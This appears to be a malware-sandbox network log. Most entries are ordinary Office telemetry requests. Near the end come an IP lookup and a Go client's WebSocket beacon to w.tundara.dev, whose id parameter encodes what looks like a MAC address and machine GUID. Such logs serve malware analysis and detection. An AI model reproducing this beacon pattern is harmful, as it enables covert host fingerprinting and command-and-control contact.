Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /ws?id=ZWM6ZjQ6YmI6ODI6Zjc6ZTAxOTg4Mjc0Mi1DQzU2LTFBNTktOTc3OS1GQjhDQkZBMUUyOUQ= HTTP/1.1Host: w.tundara.devUser-Agent: Go-http-client/1.1Connection: UpgradeSec-WebSocket-Key: cof3s6xHj8WhaMWJXwOt3g==Sec-WebSocket-Version: 13Upgrade: websocket
Source: global traffic	HTTP traffic detected: GET /dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP/1.1Host: learn.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 HTTP/1.1Host: learn.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/assets/0.4.028726178/styles/site-ltr.css HTTP/1.1Host: learn.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=4edf09f764.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
